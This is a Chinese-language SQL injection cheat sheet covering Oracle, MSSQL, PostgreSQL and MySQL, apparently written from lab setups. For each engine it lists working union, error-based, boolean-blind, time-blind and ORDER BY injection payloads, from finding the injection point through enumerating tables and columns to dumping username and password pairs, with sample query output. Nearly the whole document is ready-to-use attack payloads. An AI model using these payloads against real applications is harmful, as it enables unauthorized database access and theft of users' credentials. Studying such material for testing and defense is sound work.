CREATE TABLE users (
id NUMBER PRIMARY KEY,
username VARCHAR2(50),
password VARCHAR2(50)
);
INSERT INTO users (id, username, password) VALUES (1, 'alice', 'pass123');
INSERT INTO users (id, username, password) VALUES (2, 'bob', 'secure456');
INSERT INTO users (id, username, password) VALUES (3, 'charlie', 'mypwd789');
联合注入
判断注入点(和MySQL相同)
/filter?category=Accessories''
判断列数(和MySQL相同)
/filter?category=Accessories'+order+by+2--+
判断回显列
与MySQL不同的是,Oracle需要加上dual表,因为Oracle规定每一个select语句后都必须跟一个from,所以dual必须写。
/filter?category=-1'+union+select+'1','2'+FROM+dual--+
获取数据库和版本信息
注意这里其实查询用户更加重要,oracle中只存在一个全局数据库,而用来隔离表的是用户名
数据库信息
使用sys_context函数获取系统环境中的db_name变量名
/filter?category=-1'+UNION+SELECT+sys_context('USERENV','DB_NAME'),'1'+FROM+dual--+
或使用GLOBAL_NAME表查询数据库名
/filter?category=-1'+UNION+SELECT+GLOBAL_NAME,'1'+FROM+GLOBAL_NAME--+
版本信息
/filter?category=-1'+UNION+SELECT+banner,'1'+FROM+v$version--+
获取当前用户下的表
/filter?category=-1'+UNION+SELECT+table_name,NULL+FROM+user_tables--+
获取特定表下的列
/filter?category=-1'+UNION+SELECT+column_name,'1'+FROM+user_tab_columns+where+table_name='PRODUCTS'--+
获取特定表数据
单列数据查询和MySQL相同
/filter?category=-1'+UNION+SELECT+category,'1'+FROM+PRODUCTS--+
当想要获取拼接时
/filter?category=-1'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
报错注入
获取版本信息
通过ctxsys.drithsx.sn函数进行报错注入
SQL> select * from users where id = 1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1));
select * from users where id = 1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))
*
ERROR at line 1:
ORA-20000: Oracle Text error:
DRG-11701: thesaurus Oracle Database 11g Express Edition Release 11.2.0.2.0 -
64bit Production does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.DRITHSX", line 540
ORA-06512: at line 1
获取数据库信息
SQL> select * from users where id = 1 and 1=ctxsys.drithsx.sn(1,(select GLOBAL_NAME from GLOBAL_NAME where rownum=1));
select * from users where id = 1 and 1=ctxsys.drithsx.sn(1,(select GLOBAL_NAME from GLOBAL_NAME where rownum=1))
*
ERROR at line 1:
ORA-20000: Oracle Text error:
DRG-11701: thesaurus XE does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.DRITHSX", line 540
ORA-06512: at line 1
获取表名
SQL> select * from users where id = 1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1));
select * from users where id = 1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
*
ERROR at line 1:
ORA-20000: Oracle Text error:
DRG-11701: thesaurus LOGMNR_SESSION_EVOLVE$ does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.DRITHSX", line 540
ORA-06512: at line 1
获取列名
SQL> select * from users where id = 1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='USERS' and rownum=1));
select * from users where id = 1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='USERS' and rownum=1))
*
ERROR at line 1:
ORA-20000: Oracle Text error:
DRG-11701: thesaurus ID does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.DRITHSX", line 540
ORA-06512: at line 1
获取数据
SQL> select * from users where id = 1 and 1=ctxsys.drithsx.sn(1,(select username||'~'||password from users where rownum=1));
select * from users where id = 1 and 1=ctxsys.drithsx.sn(1,(select username||'~'||password from users where rownum=1))
*
ERROR at line 1:
ORA-20000: Oracle Text error:
DRG-11701: thesaurus user1~password1 does not exist
ORA-06512: at "CTXSYS.DRUE", line 160
ORA-06512: at "CTXSYS.DRITHSX", line 540
ORA-06512: at line 1
布尔盲注
获取数据库名
通过substr函数截取结果的第一个字符,然后与字母进行比较
SQL> select * from users where id = '1' and (SELECT SUBSTR((select GLOBAL_NAME from GLOBAL_NAME),1,1) from dual)='X';
ID USERNAME
---------- --------------------------------------------------
PASSWORD
--------------------------------------------------
1 user1
password1
获取表名
注意oracle存储表名和列名都是大写,因此只用大写字母进行比较即可
同时注意只能返回一行数据,所以使用rownum来限制返回行数
SQL> select * from users where id = '1' and (SELECT SUBSTR((select table_name from user_tables),1,1) from dual)='U';
ID USERNAME
---------- --------------------------------------------------
PASSWORD
--------------------------------------------------
1 user1
password1
获取列名
SQL> select * from users where id = '1' and (SELECT SUBSTR((select column_name from user_tab_columns where table_name='USERS' and rownum=1),1,1) from dual)='I';
ID USERNAME
---------- --------------------------------------------------
PASSWORD
--------------------------------------------------
1 user1
password1
获取数据
使用||连接符将不同列查询结果连接起来
SQL> select * from users where id = '1' and (SELECT SUBSTR((select username||'~'||password from users where rownum=1),1,1) from dual)='u';
ID USERNAME
---------- --------------------------------------------------
PASSWORD
--------------------------------------------------
1 user1
password1
时间盲注
判断是否存在注入点
id=1 and 1=dbms_pipe.receive_message('RDS', 10)
获取用户名
DECODE(...)
: 是Oracle中的一种条件函数,它的功能类似于CASE语句。它的语法是 DECODE(expr, search_1, result_1, ..., default)
,这个函数会检查 expr
的值并与 search_n
比较,如果匹配则返回 result_n
,否则返回 default
。
select * from users WHERE id = '1' and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('A',3),0) from dual)
获取表名
select * from users WHERE id = '1' and 1=(select decode(substr((SELECT LISTAGG(table_name, ', ') WITHIN GROUP (ORDER BY table_name) FROM user_tables),1,1),'A',dbms_pipe.receive_message('A',3),0) from dual)
获取列名
select * from users WHERE id = '1' and 1=(select decode(substr((select listagg(column_name,', ') WITHIN GROUP (ORDER BY column_name) from user_tab_columns where table_name='USERS'),1,1),'I',dbms_pipe.receive_message('A',3),0) from dual)
获取数据
select * from users WHERE id = '1' and 1=(select decode(substr((select listagg(username||'~'||password,', ') WITHIN GROUP (ORDER BY username||'~'||password) from users),1,1),'u',dbms_pipe.receive_message('A',3),0) from dual)
orderby注入
select * from users ORDER BY (SELECT (CASE WHEN (2054=2055) THEN 'username' ELSE (SELECT '9241' from dual UNION SELECT '9950' from dual)END) from dual);
ORA-01427: single-row subquery returns more than one row
MSSQL
create database test;
use test;
CREATE TABLE users (
id INT PRIMARY KEY IDENTITY(1,1), -- 自动生成的 ID
username NVARCHAR(50) NOT NULL, -- 用户名,非空
password NVARCHAR(50) NOT NULL -- 密码,非空
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
INSERT INTO users (username, password) VALUES ('user1', 'passw0rd!');
INSERT INTO users (username, password) VALUES ('user2', 'mypassword');
联合注入
判断注入点
这里和MySQL有些不同,mssql不支持id='1'''
这样的形式,这样闭合不了
select * FROM users WHERE id = '1'-- ';
判断列数(和MySQL相同)
select * FROM users WHERE id = '1' ORDER BY 3--';
判断回显列(和MySQL相同)
select * FROM users WHERE id = '-1' UNION SELECT 1,2,3--';
获取数据库和版本信息
select * FROM users WHERE id = '-1' UNION SELECT 1,DB_NAME(),3--';
select * FROM users WHERE id = '-1' UNION SELECT 1,@@VERSION,3--';
获取当前数据库下的表
select * FROM users WHERE id = '-1' UNION SELECT 1,2,STRING_AGG(name, ', ') FROM sys.tables--';
获取特定表下的列
select * FROM users WHERE id = '-1' UNION SELECT 1,2,STRING_AGG(name, ', ') FROM sys.columns WHERE object_id = OBJECT_ID('users');--';
获取特定表的数据
select * FROM users WHERE id = '-1' UNION SELECT 1,2,STRING_AGG(CONCAT(username, ':', password), ', ') from users--';
报错注入
获取数据库名,版本信息
1 and @@version>0
1 and db_name()>0
获取表名
1 and (select top 1 STRING_AGG(name,', ') from master.sys.all_objects where type='U')>0
获取列名
1 and (select top 1 STRING_AGG(COLUMN_NAME,', ') from master.information_schema.columns where TABLE_NAME='USERS')>0
获取数据
select * FROM users WHERE id = '1' and (select top 1 STRING_AGG(concat(username,'~',password),', ') from users)>0
布尔盲注
获取数据库名和版本信息
SELECT * FROM users WHERE id = '1' AND ASCII(SUBSTRING(DB_NAME(), 1, 1)) > 108
SELECT * FROM users WHERE id = '1' AND ASCII(SUBSTRING(@@version, 1, 1)) > 32
获取表名
SELECT * FROM users WHERE id = '1' AND ASCII(SUBSTRING((select top 1 STRING_AGG(name,', ') from master.sys.all_objects where type='U'), 1, 1)) > 115
获取列名
SELECT * FROM users WHERE id = '1' AND ASCII(SUBSTRING((select top 1 STRING_AGG(COLUMN_NAME,', ') from master.information_schema.columns where TABLE_NAME='USERS'), 1, 1)) > 104
获取数据
SELECT * FROM users WHERE id = '1' AND ASCII(SUBSTRING((select top 1 STRING_AGG(concat(username,'~',password),', ') from users), 1, 1)) > 96
时间盲注
获取数据库名和版本信息
SELECT * FROM users WHERE id = '1' if(ascii(substring((select DB_NAME()),1,1)) > 32) WAITFOR DELAY '0:0:3'
SELECT * FROM users WHERE id = '1' if(ascii(substring((select @@version),1,1)) > 76) WAITFOR DELAY '0:0:3'
SELECT * FROM users WHERE id = '1' if(ascii(substring((select CURRENT_USER),1,1)) > 76) WAITFOR DELAY '0:0:3'
获取表名
SELECT * FROM users WHERE id = '1' if(ascii(substring((select table_name from INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG = 'xichanggas'),1,1)) > 115) WAITFOR DELAY '0:0:3'
获取列名
SELECT * FROM users WHERE id = '1' if(ascii(substring((select STRING_AGG(COLUMN_NAME,', ') from INFORMATION_SCHEMA.columns where TABLE_NAME='USERS'),1,1)) > 105) WAITFOR DELAY '0:0:3'
获取数据
SELECT * FROM users WHERE id = '1' if(ascii(substring((select top 1 STRING_AGG(concat(username,'~',password),', ') from users),1,1)) > 96) WAITFOR DELAY '0:0:3'
orderby注入
获取数据库名和版本信息
SELECT * from users ORDER BY (SELECT (CASE WHEN ((ASCII(SUBSTRING(DB_NAME(), 1, 1))) > 116) THEN 1 ELSE (SELECT 9241 UNION SELECT 9950)END));
[21000] [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression. (512)
PostgreSQL
联合注入
判断注入点
这里和MySQL不一样,mssql不支持id='1'''
这样的形式,会产生报错,使用id='1' and '1'='1'
或注释符比较好
select * from users WHERE ID = '1'--'
判断列数
select * from users WHERE ID = '1' ORDER BY 3--'
判断回显列
和oracle一样,联合查询的字段类型必须和主表的字段类型相同
select * from users WHERE ID = '-1' UNION SELECT '1','2','3'--'
获取当前数据库名和版本信息
这里需要注意的是pgsql和其他数据库不同
pgsql的结构既不像MySQL那样多用户共同维护多数据库,也不像oracle那样只存在一个数据库,每个用户即架构(schema),而pgsql是两者结合。
pgsql每个用户有自己的数据库,相互隔离,同时不同的数据库下也有不同的架构,不同架构下存在表,结构更加复杂
这里的current_database()
获取的是数据库,要获取架构需要用到current_schema()
select * from users WHERE ID = '-1' UNION SELECT 1,current_database(),version()--'
获取表名
select * from users WHERE ID = '-1' UNION SELECT 1,'2',table_name from information_schema.tables where table_schema = 'public'--'
获取列名
select * from users WHERE ID = '-1' UNION SELECT 1,'2',string_agg(column_name, ', ') from information_schema.columns where table_name = 'users'--'
获取数据
select * from users WHERE ID = '-1' UNION SELECT 1,'2',string_agg(concat(username,'~',password), ', ') from users--'
报错注入
获取架构名
SELECT * FROM users WHERE id = '1' and cast((select CURRENT_SCHEMA()) as int)=1
获取表名
SELECT * FROM users WHERE id = '1' and cast((select string_agg(table_name,', ') from information_schema.tables where table_schema = 'public') as int)=1
获取列名
SELECT * FROM users WHERE id = '1' and cast((select string_agg(column_name,', ') from information_schema.columns where table_name = 'users') as int)=1
获取数据
SELECT * FROM users WHERE id = '1' and cast((select string_agg(concat(username,'~',password),', ') from users) as int)=1
布尔盲注
和MySQL相同,这里就不再赘述
获取架构名
SELECT * FROM users WHERE id = '1' and ascii(substring((select current_schema()),1,1))>111
时间盲注
获取架构名
SELECT * FROM users WHERE id = '1' and (select case when((ascii(substring((select current_schema()),1,1))) > 112) then pg_sleep(3) else null end) is null
获取表名
SELECT * FROM users WHERE id = '1' and (select case when((ascii(substring((select string_agg(table_name,', ') from information_schema.tables where table_schema = 'public'),1,1))) > 117) then pg_sleep(3) else null end) is null
获取列名
SELECT * FROM users WHERE id = '1' and (select case when((ascii(substring((select string_agg(column_name,', ') from information_schema.columns where table_name = 'users'),1,1))) > 105) then pg_sleep(3) else null end) is null
获取数据
SELECT * FROM users WHERE id = '1' and (select case when((ascii(substring((select string_agg(concat(username,'~',password),', ') from users),1,1))) > 117) then pg_sleep(3) else null end) is null
orderby注入
CASE WHEN 2055=2054 THEN username ELSE (SELECT 'a' UNION SELECT 'b') END;
ERROR: more than one row returned by a subquery used as an expression
CASE WHEN 2055=2055 THEN username ELSE (SELECT 'a' UNION SELECT 'b') END;
MySQL
联合注入
判断注入点
两个引号或者注释符号--
, #
SELECT * FROM users WHERE id = '1'''
判断列数
SELECT * FROM users WHERE id = '1' ORDER BY 3-- ‘
判断回显列
select * from users WHERE ID = '-1' UNION SELECT 1,2,3-- '
获取当前数据库名和版本信息
SELECT * FROM users WHERE id = '-1' UNION SELECT 1,database(),version()-- '
获取所有数据库名
SELECT * FROM users WHERE id = '-1' UNION SELECT 1,2,GROUP_CONCAT(schema_name) from information_schema.SCHEMATA-- '
获取表名
SELECT * FROM users WHERE id = '-1' UNION SELECT 1,2,GROUP_CONCAT(table_name) from information_schema.tables WHERE table_schema='security'-- '
获取列名
SELECT * FROM users WHERE id = '-1' UNION SELECT 1,2,GROUP_CONCAT(column_name) from information_schema.columns WHERE table_schema='security' and table_name = 'users'-- '
获取数据
SELECT * FROM users WHERE id = '-1' UNION SELECT 1,2,GROUP_CONCAT(username,':',password) from security.users-- '
报错注入
floor
获取当前数据库名和版本信息
SELECT * FROM users WHERE id = '1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- '
获取所有数据库名
获取表名
SELECT * FROM users WHERE id = '1' and (select 1 from (select count(*),concat((select GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)-- '
获取列名
SELECT * FROM users WHERE id = '1' and (select 1 from (select count(*),concat((select GROUP_CONCAT(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x)a)-- '
获取数据
这里有个小问题,我尝试了group_concat和concat,都不能直接输出,会返回子查询大于一行的错误,就只能使用limit了
SELECT * FROM users WHERE id = '1' and (select 1 from (select count(*),concat((select CONCAT(username,':',password) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- '
updatexml和extractvalue
updatexml和extractvalue相差不大,只是前者多了一个参数
获取当前数据库名和版本信息
SELECT * FROM users WHERE id = '-1' and extractvalue(1,concat(0x7e,(database())))-- '
获取所有数据库名
SELECT * FROM users WHERE id = '-1' and extractvalue(1,concat(0x7e,(select GROUP_CONCAT(schema_name) from information_schema.schemata)))-- '
获取表名
SELECT * FROM users WHERE id = '-1' and extractvalue(1,concat(0x7e,(select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security')))-- '
获取列名
SELECT * FROM users WHERE id = '-1' and extractvalue(1,concat(0x7e,(select GROUP_CONCAT(column_name) from information_schema.columns where table_schema='security' and table_name='users')))-- '
获取数据
SELECT * FROM users WHERE id = '-1' and extractvalue(1,concat(0x7e,(select GROUP_CONCAT(username,':',password) from users)))-- '
布尔盲注
获取当前数据库名和版本信息
SELECT * FROM users WHERE id = '1' and ascii(substr((select database()),1,1))>110-- '
获取所有数据库名
SELECT * FROM users WHERE id = '1' and ascii(substr((select GROUP_CONCAT(schema_name) from information_schema.schemata),1,1))>105-- '
SELECT * FROM users WHERE id = '1' and ascii(substr((select GROUP_CONCAT(table_name) from information_schema.tables WHERE table_schema=database()),1,1))>101-- '
获取列名
SELECT * FROM users WHERE id = '1' and ascii(substr((select GROUP_CONCAT(column_name) from information_schema.columns WHERE table_schema=database() and table_name='users'),1,1))>104-- '
获取数据
SELECT * FROM users WHERE id = '1' and ascii(substr((select GROUP_CONCAT(username,':',password) from users),1,1))>67-- '
时间盲注
获取当前数据库名和版本信息
select * from users WHERE id = '1' and if(ascii(substr((select database()),1,1))>120,1,sleep(5))-- '
获取所有数据库名
select * from users WHERE id = '1' and if(ascii(substr((select GROUP_CONCAT(schema_name) from information_schema.schemata),1,1))>120,1,sleep(5))-- '
获取表名
select * from users WHERE id = '1' and if(ascii(substr((select GROUP_CONCAT(table_name) from information_schema.tables WHERE table_schema=database()),1,1))>120,1,sleep(5))-- '
获取列名
select * from users WHERE id = '1' and if(ascii(substr((select GROUP_CONCAT(column_name) from information_schema.columns WHERE table_schema=database() and table_name='users'),1,1))>120,1,sleep(5))-- '
获取数据
select * from users WHERE id = '1' and if(ascii(substr((select GROUP_CONCAT(username,':',password) from users),1,1))>120,1,sleep(5))-- '
orderby注入
orderby注入只要找到了条件触发点就和布尔或时间盲注一样了,这里不再赘述
sqlmap payload
#username是order by后的参数
(SELECT (CASE WHEN (2055=2055) THEN 'username' ELSE (SELECT 9241 UNION SELECT 9950) END))
mysql> select * from users order by (SELECT (CASE WHEN (2055=2055) THEN 'username' ELSE (SELECT 9241 UNION SELECT 9950)END));
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
mysql> select * from users order by (SELECT (CASE WHEN (2055=2051) THEN 'username' ELSE (SELECT 9241 UNION SELECT 9950) END));
ERROR 1242 (21000): Subquery returns more than 1 row
手工 payload
#username是order by后的参数
if(1=2,username,(select 1 union select 2))
mysql> select * from users order by if(1=1,username,(select 1 union select 2));
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 12 | dhakkan | dumbo |
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
+----+----------+------------+
13 rows in set (0.00 sec)
mysql> select * from users order by if(1=2,username,(select 1 union select 2));
ERROR 1242 (21000): Subquery returns more than 1 row